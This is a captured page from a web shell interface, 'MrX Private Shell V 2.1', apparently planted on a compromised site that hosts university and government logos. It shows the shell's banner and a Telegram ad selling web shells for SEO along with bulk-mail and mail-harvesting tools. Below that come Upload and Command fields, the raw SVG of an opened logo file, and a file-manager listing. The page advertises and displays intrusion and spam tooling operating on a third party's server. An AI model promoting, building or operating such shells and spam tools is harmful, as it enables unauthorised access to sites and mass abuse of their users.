__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 24.1.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="0 0 2529.97 546" style="enable-background:new 0 0 2529.97 546;" xml:space="preserve">
<style type="text/css">
	.st0{fill:none;stroke:#FFFFFF;stroke-width:0.4972;stroke-miterlimit:10;}
	.st1{fill:none;stroke:#FFFFFF;stroke-width:0.2486;stroke-miterlimit:10;}
	.st2{fill:#005AC5;}
	.st3{fill:#FFFFFF;}
	.st4{fill:#FBD000;}
	.st5{fill:#00549F;}
	.st6{fill:#D21A3A;}
	.st7{fill:#D2D2D2;}
	.st8{fill:#848484;}
	.st9{display:none;}
	.st10{display:inline;fill:none;stroke:#FFFFFF;stroke-width:0.4972;stroke-miterlimit:10;}
	.st11{display:inline;fill:none;stroke:#FFFFFF;stroke-width:0.2486;stroke-miterlimit:10;}
</style>
<g>
	<path class="st3" d="M510.04,193.59l-27.1,10.27l-2.61,7.32l-6.07,3.95c-1.72-22.51-2.83-31.44-3.31-31.44l9.79-0.13l18.03-22
		l-26.22,11.25l-2.36,7.66l-25.73,19.51c0.57,4.82,2.04,19.47,1.05,33.81l5.69-3.83c2.46,107.21-46.55,147.54-46.55,147.54
		c-12.39-5.72-15.59-9.91-15.59-9.91c44.7-49.81,42.65-121.82,42.57-124.39l-4.71,3.11c0,0,1.93-22.78,0.67-33.55l-8.24,6.25
		c-0.19-7.36-0.62-13.48-1.12-17.75c4.98,0.33,10.12-0.42,14.34-3.46c4.45-3.23,6.81-12.75,7.55-16.84c0.74-4.07-0.13-5.45-2.6-7.05
		c-2.47-1.59-7.67-6.3-9.78-8.42c0,0,4.26-1.83,14.23,2.85c10.76,5.09,18.93,2.61,28.11-11l-11.02,1.61l0.97-7.6
		c0.18,0.08,0.37,0.18,0.57,0.3c1.53,1.06,6.74,2.97,9.21,3.46c2.48,0.5,2.41,0.14,3.97,1.07c1.56,0.91,2.89,1.3,3.71,0.91
		c0,0,6.15,3.46,8.62,0c0,0,2.38,1.42,3.58,1.85c1.85,0.68,4.84,1.74,5.81,1.55c0.99-0.19,3.34,0.81,3.72,0.99
		c3.88,1.95,6.25,0.94,6.8,0c0.57-0.93-2.41-4.01-4.71-5.93c-2.29-1.92-4.27-2.29-4.27-2.29c0.75-0.5,0.56-1.25-0.93-3.04
		c-1.48-1.81-6.36-4.21-6.36-4.21c0.06-1.43-5.52-4.89-8.84-7.42c-3.37-2.54-1.99-2.41-5.52-6.05
		c-3.52-3.67-19.68-16.49-27.73-22.23c-8.04-5.74-30.12-22.57-49.01-28.64c-18.85-6.08-30.02-4.7-37.99,0.25
		c-7.99,4.95-6.01,11.57-4.57,15.66c1.4,4.09,4.15,9.22,5.76,12.37c1.6,3.16,0.3,3.1-0.44,3.61c-0.74,0.47,0.05,1.72-0.67,1.59
		c-0.74-0.12-1.2,0.81-2.13,1.86c-0.46,0.53-1.83,0.99-3.61,1.35c-0.35-1.49,0.58-2.61,0.58-2.61c-1.25-0.73-3.39-0.97-3.39-0.97
		c0.26-0.52,1.24-0.88,1.24-0.88c-1.36-0.35-3.96,0.11-3.96,0.11c0.42-0.67,0.79-0.78,0.79-0.78c-2.44-0.83-4.62,1.15-5.5,2.12
		c-1.08-1.93-2.46-3.29-3.83-4.58c-1.47-1.37-2.22-3.35-3.8-4.9c0,0,1.29-1.96,0.36-3.92c-0.91-1.95-3.44-3.52-4.92-3.89
		c0,0,1.31-0.67,1.12-2.15c-0.18-1.48-1.57-2.04-3.06-1.56c-1.5,0.45-3.24,0.45-4.36,1.48c0,0-1.22,0.13-2.17,0.01
		c1.22-4.07,1.83-9.63-5.15-13.93c-7.97-4.95-19.1-6.32-37.98-0.25c-18.87,6.08-40.96,22.9-48.99,28.64
		c-8.04,5.74-24.22,18.56-27.71,22.23c-3.55,3.64-2.19,3.51-5.51,6.05c-3.35,2.53-8.92,5.99-8.86,7.42c0,0-4.88,2.41-6.37,4.21
		c-1.48,1.79-1.67,2.54-0.94,3.04c0,0-1.96,0.37-4.26,2.29c-2.29,1.92-5.26,5-4.71,5.93c0.57,0.94,2.9,1.95,6.81,0
		c0.36-0.18,2.72-1.18,3.71-0.99c0.99,0.18,3.97-0.87,5.82-1.55c1.2-0.44,3.59-1.85,3.59-1.85c2.47,3.46,8.6,0,8.6,0
		c0.8,0.38,2.17,0,3.7-0.91c1.55-0.93,1.49-0.57,3.95-1.07c2.49-0.49,7.7-2.39,9.23-3.46c0.21-0.16,0.43-0.25,0.62-0.32l0.99,7.63
		l-11.02-1.61c9.15,13.61,17.33,16.1,28.09,11c9.98-4.68,14.24-2.85,14.24-2.85c-2.1,2.12-7.32,6.83-9.78,8.42
		c-2.47,1.61-3.34,2.98-2.59,7.05c0.73,4.09,3.07,13.61,7.55,16.84c4.22,3.04,9.36,3.78,14.34,3.46c-0.5,4.26-0.92,10.39-1.13,17.75
		l-8.32-6.31c-1.26,10.76,0.66,33.61,0.66,33.61l-4.7-3.11c-0.1,2.58-2.13,74.58,42.59,124.39c0,0-3.23,4.19-15.6,9.91
		c0,0-49.03-40.34-46.53-147.54l5.69,3.83c-1.01-14.38,0.47-29.08,1.03-33.86l-25.65-19.46l-2.37-7.66l-26.22-11.25l18.05,22
		l9.78,0.13c-0.5,0-1.61,8.93-3.34,31.44l-6.05-3.95l-2.61-7.32l-27.09-10.27l19.17,21.4l9.53-0.6c0,0-9.76,94.91,22.46,145.98
		c26.84,42.49,65.88,42.83,101.42,18.96c-1.26,4.15-5.55,16.5-17.56,39.01c0,0,6.93,0,14.35,1.26c0,0-1.47,6.18-2.25,8.04
		c-0.76,1.91-0.63,5.04,3.02,5.21c3.67,0.11,8.43,0.57,8.43,0.57s-0.65,4.46-0.75,6.83c-0.11,3.2-0.42,4.53,12.32,5.07
		c13.35-0.54,12.48-1.87,12.35-5.07c-0.1-2.37-0.71-6.83-0.71-6.83s4.77-0.45,8.43-0.57c3.65-0.17,3.78-3.3,3.01-5.21
		c-0.75-1.87-2.28-8.04-2.28-8.04c7.44-1.26,14.37-1.26,14.37-1.26c-12.03-22.59-16.34-34.9-17.61-39.01
		c35.57,23.86,74.64,23.57,101.5-18.96c32.21-51.07,22.45-145.98,22.45-145.98l9.53,0.6L510.04,193.59z M354.95,156.85
		c1.06-4.78,1.92-8.8,2.91-8.12c0.98,0.68,2.72,0.75,3.34-0.05c0.63-0.83,0.81-0.93,1.31-0.08c0.5,0.86,3.46,2.29,5.45-1.11
		c1.98-3.4,1.42-1.67,1.98-0.37c0.57,1.29,2.11,1.85,3.84,0.49c1.73-1.35,3.09-2.55,4.33-3.16c1.22-0.6,1.28-0.3,1.96-1.54
		c0.69-1.25,1.8-1.81,1.85-2.61c0.06-0.81-0.74-1.73,0.45-2.35c1.17-0.62,1.73-1.06,2.79-0.56c1.06,0.5,1.35-0.5,1.91,0.18
		c0.55,0.68,1.28,0.75,1.98,0c0.68-0.74,1.18-1.91,1.98-0.55c0.8,1.35,2.59,1.66,2.96,0.98c0.39-0.67,0.69-0.74,1.18,0.32
		c0.5,1.05,2.29,1.86,4.21,1.55c0,0,1.79,2.47,3.97,2.1c2.18-0.38,3.03-1.48,3.08-2.95c0.07-1.49-0.74-6.49,0.74-5.4
		c1.49,1.11,1.43,0.62,1.85-0.26c0.44-0.84,1.12,0.06,1.87-0.13c0.74-0.16,0.61-1.11,1.85,0.13c1.25,1.25,1.36,1.86,2.54,2.17
		c1.17,0.3,1.67,0.62,2.91,1.92c1.25,1.3,2.61,2.72,4.82,1.91c0,0,1.42,1.85,2.92,1.73c0,0,3.03,3.29,4.76,2.8
		c0,0,2.96,1.22,3.96,1.11c1-0.12,1.18-0.79,1.81-0.45c0.61,0.39,0.37-1.17,1.29-0.12c0.91,1.06,2.6,2.92,3.65,2.61
		c0,0,2.49,2.1,4.39,2.32c1.93,0.26,2.49,0.83,3.1,0.83s0.31-0.62,1.43,0.25c1.1,0.87,2.73,1.29,3.78,0.87
		c1.05-0.45,1.47-0.39,2.42-0.26c0.31,0.04,0.71,0,1.15-0.04c-3.11,3.7-7.17,6.64-14.72,4.31c-10.01-3.1-13.01-1.62-15.08,0.49
		c-2.11,2.09-6.68,8.17-7.94,12.01c-1.21,3.83-0.59,6.8,6.8,15.47c0,0-9.65,0.61-22.38-3.48c-12.75-4.07-24.51-5.56-36.38-0.23
		c-2.06,0.93-3.97,1.78-5.75,2.67c-1.32-1.34-4.61-4.73-5.83-6.27c0,0,0.8-3.95,0.74-6.25c-0.07-2.6-0.18-3.82-1.11-5.13
		C355.07,163.35,353.92,161.61,354.95,156.85z M405.93,198.75c-5.62,3.55-15.17,7.72-29.32,7.72c-11.04,0-19.55-2.54-25.59-5.37
		c2.51-1.54,12.24-7.07,24.49-7.39c14.23-0.38,20.42,1.59,27.23,3.97C403.67,198.01,404.76,198.36,405.93,198.75z M347.31,178.54
		c0.08,0.04,0.15,0.06,0.23,0.09c2.51,0.99,5.12,0.62,5.12,0.62c0.81,0.5,4.33,3.81,5.6,5.06c-3.59,1.95-6.76,3.99-9.86,6.62
		c-0.75-3.07-1.85-8.08-1.53-9.76C347.05,180.23,347.21,179.33,347.31,178.54z M329.68,110.87c1.39,0.92,4.09,2.51,5.03,4.81
		c0.26,0.69,0.47,1.35,0.65,1.98c-1.97-0.49-3.49-0.52-4.65-0.33c-2.01-3.25-4.25-5.37-6.34-6.77
		C326.56,110.25,328.45,110.04,329.68,110.87z M317.77,109.94c0.03-0.07,0.07-0.12,0.1-0.23c1.7,2.51,5.37,6.86,11.25,8.13
		c-0.61,0.3-1.07,0.68-1.4,1.01c-3.19-0.42-5.99-1.01-6.74-1.86c-0.93-1.05-1.35-1.98-2.1-1.86c-0.73,0.13,0.06-1.13-0.67-1.59
		C317.46,113.05,316.19,113.1,317.77,109.94z M315.32,149.62c0.26,1.67,0.71,3.51,1.58,5.34c-0.23,0.42-0.45,0.84-0.66,1.28
		c-0.5-3.81-2.06-6.29-2.37-6.75C314.38,149.66,314.87,149.68,315.32,149.62z M252.93,183.33c7.42-8.68,8.03-11.64,6.8-15.47
		c-1.24-3.84-5.81-9.92-7.92-12.01c-2.1-2.1-5.06-3.59-15.09-0.49c-7.55,2.32-11.58-0.59-14.71-4.3c0.42,0.03,0.79,0.06,1.08,0.02
		c0.95-0.13,1.36-0.18,2.44,0.26c1.04,0.42,2.66,0,3.76-0.87c1.12-0.86,0.81-0.25,1.42-0.25c0.62,0,1.18-0.57,3.09-0.83
		c1.92-0.23,4.4-2.32,4.4-2.32c1.06,0.3,2.71-1.56,3.66-2.61c0.93-1.05,0.67,0.51,1.3,0.12c0.61-0.34,0.81,0.33,1.79,0.45
		c0.98,0.11,3.97-1.11,3.97-1.11c1.72,0.5,4.77-2.8,4.77-2.8c1.47,0.13,2.9-1.73,2.9-1.73c2.22,0.81,3.6-0.62,4.84-1.91
		c1.22-1.3,1.72-1.62,2.9-1.92c1.18-0.32,1.29-0.93,2.52-2.17c1.25-1.24,1.11-0.28,1.86-0.13c0.74,0.19,1.43-0.72,1.86,0.13
		c0.45,0.88,0.38,1.37,1.85,0.26c1.47-1.1,0.68,3.9,0.74,5.4c0.09,1.47,0.94,2.58,3.1,2.95c2.17,0.38,3.97-2.1,3.97-2.1
		c1.9,0.3,3.71-0.5,4.2-1.55c0.5-1.06,0.81-0.99,1.17-0.32c0.37,0.69,2.17,0.37,2.99-0.98c0.79-1.36,1.27-0.2,1.97,0.55
		c0.68,0.75,1.42,0.68,1.98,0c0.55-0.68,0.88,0.31,1.93-0.18c1.04-0.5,1.61-0.06,2.77,0.56c1.17,0.62,0.38,1.54,0.44,2.35
		c0.06,0.8,1.19,1.36,1.86,2.61c0.69,1.24,0.76,0.93,1.98,1.54c1.24,0.61,2.6,1.81,4.33,3.16c1.59,1.24,3,0.45,3.67-0.61
		c0.25,1.1,0.62,2.9,1.15,2.9l0,0c0.53,0,0.98-1.4,1.37-2.27c0.55,0.76,1.16,0.57,1.76,0.8c-0.29,0.56-4.62,9.26,0.66,17.05h0.01
		c0.25,0,0.45-0.32,0.64-0.84c0.55,5.06,0.25,6.2,0.25,6.2s-2.38,3.03-4.09,8.38c-11.72-5.09-23.35-3.49-35.92,0.53
		C262.58,183.85,252.93,183.33,252.93,183.33z M307.17,193.9c-1.47,4.41-3.41,8.93-6.05,12.53c-13.08-0.37-22.03-4.27-27.38-7.68
		c1.18-0.39,2.25-0.74,3.19-1.07c6.81-2.38,13.01-4.34,27.23-3.97C305.19,193.74,306.18,193.83,307.17,193.9z M265.03,200.48
		c1.14-0.2,2.27-0.25,3.58-0.57c3.66,3.67,13.94,11.86,33.31,11.86c25.08,0,37.89-12.05,37.89-12.05s12.79,12.09,37.87,12.09
		c19.39,0,29.65-8.1,33.3-11.76c1.34,0.32,2.45,0.23,3.59,0.42c3.04,25.2-2.01,60.98-2.01,60.98H339.8h-72.77
		C267.03,261.46,262,225.68,265.03,200.48z M267.03,265.81h72.77h72.75c0,0-2.23,27.84-14.1,51.19H339.8h-58.67
		C269.25,293.64,267.03,265.81,267.03,265.81z M339.8,384.98c-43.61-31.57-56.44-63.87-56.44-63.87h56.44h56.42
		C396.22,321.11,383.44,353.41,339.8,384.98z"/>
	<path class="st3" d="M367.07,258.07c2.53-0.06,4.86-0.96,6.82-2.46c1.05,0.35,2.12,0.53,3.24,0.49c3.92-0.04,7.33-2.6,9.2-6.35
		c1.78,0.24,3.58,0,5.22-0.87c3.57-1.91,5.2-6.22,4.43-10.58c0.21-0.13,0.37-0.29,0.56-0.43c3.24-2.71,3.17-8.07-0.1-12.05
		c-0.1-0.13-0.19-0.23-0.32-0.33c1.11-0.83,1.85-2.02,1.85-3.42c0-2.47-2.98-4.45-5.72-4.45c-2.71,0-5.7,1.98-5.7,4.45v0.02
		c0,0.14-1.71,0.61-2.69,1.46c-1.39,1.14-1.76,2.82-1.95,4.64c-0.5,0.18-0.81,0.34-1.29,0.61c-0.67,0.33-1.15,0.81-1.67,1.31
		c-0.8-0.2-1.53-0.31-2.37-0.28c-1.19,0.01-2.31,0.28-3.39,0.72c-1.96-1.34-4.23-2.11-6.69-2.04c-7.07,0.11-12.66,6.86-12.51,15.01
		C354.15,251.71,360.02,258.2,367.07,258.07z"/>
	<path class="st3" d="M283.67,237.86c0.17,0.14,0.35,0.3,0.56,0.43c-0.77,4.36,0.85,8.67,4.41,10.58c1.62,0.87,3.44,1.11,5.23,0.87
		c1.87,3.75,5.27,6.31,9.19,6.35c1.12,0.04,2.2-0.13,3.24-0.49c1.95,1.5,4.28,2.4,6.81,2.46c7.07,0.13,12.92-6.36,13.09-14.54
		c0.14-8.16-5.46-14.9-12.53-15.01c-2.44-0.07-4.73,0.7-6.71,2.03c-1.05-0.43-2.2-0.69-3.4-0.71c-0.83-0.03-1.64,0.08-2.39,0.26
		c-0.54-0.48-1.12-0.96-1.8-1.29c-0.47-0.27-0.98-0.45-1.48-0.61c-0.17-1.82-0.4-3.5-1.8-4.64c-0.98-0.86-2.92-1.32-2.92-1.46v-0.02
		c0-2.47-2.75-4.45-5.47-4.45c-2.74,0-5.22,1.98-5.22,4.45c0,1.4,0.58,2.59,1.68,3.42c-0.09,0.09-0.24,0.2-0.35,0.33
		C280.51,229.77,280.42,235.14,283.67,237.86z"/>
	<path class="st3" d="M340.27,313.88l6.04-9.15l-1.15-4.33l4.75,0.65c0.32,1.98,1.6,4.25,3.5,4.53c1.92,0.34,5.09,0,5.09,0l1.8-2.1
		c-2.22-2.12-4.97-3.91-4.97-3.91c-0.64-12.63-2.85-21.21-4.48-25.76c-1.58-4.55-3.69-4.68-7.73-4.15
		c-4.02,0.53-14.94,7.12-14.94,7.12l-0.75,6.34l3.73,0.41c0,0-2.13,7.11-2.88,9.67c-0.74,2.56-0.1,2.44,1.27,3.41
		c1.37,0.94,6.58,2.2,6.58,2.2l-1.49,6.58L340.27,313.88z"/>
	<path class="st3" d="M326.07,233.57c2.17,12.53,10.24,13.67,13.43,13.6c-0.05,4.42-0.81,7.92-0.81,7.92l3.97,2.72
		c0.43-5.26,0.34-9.43,0.01-12.75c9.54-1.38,11.49-15.57,11.49-15.57c-9.29,4.19-11.25,10.91-11.66,13.96
		c-0.66-5.06-1.87-7.82-2.51-8.96c6.04-0.67,10.72-5.78,10.72-12c0-3.48-1.47-6.62-3.86-8.82l1.98-3.71l-4.21,0.84l-1.73-3.22
		l-3.09,2.49l-1.85-2.49l-1.98,2.86l-3.72-2.1l1.04,3.37c-3.98,1.96-6.72,6.05-6.72,10.78c0,5.98,4.36,10.92,10.06,11.91
		c1.88,2.95,2.62,6.7,2.83,10.2C334.25,236.28,326.07,233.57,326.07,233.57z M339.16,234.29c-2.91,0-5.28-5.2-5.28-11.63
		c0-6.38,2.37-11.58,5.28-11.58c2.91,0,5.27,5.2,5.27,11.58C344.43,229.09,342.07,234.29,339.16,234.29z"/>
	<path class="st3" d="M349.69,336.67c-1.07-2.59-1.07-5.15,0-7.76h-14.52c-1.08,2.61-1.08,5.17,0,7.76H349.69z"/>
	<path class="st3" d="M335.18,354.84c-1.08,2.59-1.08,7.79,0,10.4h14.52c-1.07-2.61-1.07-7.8,0-10.4H335.18z"/>
	<polygon class="st3" points="353.15,344.48 356.39,339.28 334.2,339.28 331.76,336.67 330.75,336.67 322.5,336.67 323.65,339.28 
		325.88,339.28 328.25,344.48 	"/>
	<polygon class="st3" points="352.97,367.84 352.15,367.84 348.47,367.84 345.34,367.84 341.67,367.84 339.31,367.84 335.39,367.84 
		334.18,367.84 332.84,365.24 327.96,365.24 329.45,368.2 333.43,370.39 352.57,370.39 356.43,368.16 356.97,365.24 353.84,365.24 	
		"/>
</g>
<g>
	<g>
		<path class="st3" d="M944.68,182.89c-20.96-20.54-51.98-31.44-79.22-31.44c-68.74,0-108.56,51.55-108.14,113.59
			c0,53.65,31.86,105.63,108.14,105.63c25.15,0,48.2-6.29,71.67-25.99v-59.52H855.4v-41.91h125.33v120.3
			c-29.34,32.28-65.81,51.14-115.27,51.14c-107.72,0-154.25-71.67-154.25-149.64c0-84.67,54.07-156.76,154.25-156.76
			c38.98,0,78.38,14.67,108.56,44.43L944.68,182.89z"/>
		<path class="st3" d="M1319.08,262.32c0,79.54-48.4,152.36-150.67,152.36c-102.27,0-150.67-74.5-150.67-151.94
			c0-89.65,62.71-154.46,151.51-154.46C1269.84,108.7,1319.08,182.77,1319.08,262.32z M1168.41,371.32
			c73.23,0,103.96-51.77,103.96-108.17c0-54.29-31.15-110.69-103.11-111.95c-68.18,0-104.8,47.56-104.8,111.95
			C1065.3,315.35,1095.6,371.32,1168.41,371.32z"/>
		<path class="st3" d="M1503.57,414.67h-50.84l-126.44-305.46h54.75l96.9,247.24l97.33-247.24h54.31L1503.57,414.67z"/>
		<path class="st3" d="M1661.39,383.85c0,41.1-61.4,41.1-61.4,0C1599.98,343.24,1661.39,343.24,1661.39,383.85z"/>
		<path class="st3" d="M1958.82,370.78c-30.39,29.96-69.64,43.89-110.99,43.89c-107.2,0-155.31-73.86-155.73-151.51
			c-0.42-77.65,50.22-154.89,155.73-154.89c39.67,0,78.08,14.77,108.04,44.74l-31.65,30.39c-21.1-20.68-48.96-30.39-76.39-30.39
			c-75.12,0-109.31,55.29-108.88,109.73c0.42,54.02,32.5,107.62,108.88,107.62c27.43,0,57.82-11.4,78.5-32.08L1958.82,370.78z"/>
		<path class="st3" d="M2298.92,262.78c0,79.3-48.25,151.89-150.21,151.89c-101.96,0-150.21-74.27-150.21-151.47
			c0-89.37,62.52-153.99,151.05-153.99C2249.83,109.63,2298.92,183.48,2298.92,262.78z M2148.71,371.46
			c73.01,0,103.64-51.61,103.64-107.84c0-54.13-31.05-110.35-102.8-111.61c-67.97,0-104.48,47.41-104.48,111.61
			C2045.91,315.65,2076.12,371.46,2148.71,371.46z"/>
	</g>
</g>
<g>
	<rect x="588.64" y="46.99" class="st4" width="32.97" height="183.84"/>
	<rect x="588.64" y="230.83" class="st5" width="32.97" height="122.56"/>
	<rect x="588.64" y="353.39" class="st6" width="32.97" height="122.57"/>
</g>
</svg>

Filemanager

Name Type Size Permission Actions
cassiopeia Folder 0775
logo_gov.svg File 13.63 KB 0664
logo_unillanos.png File 6.54 KB 0664
Filemanager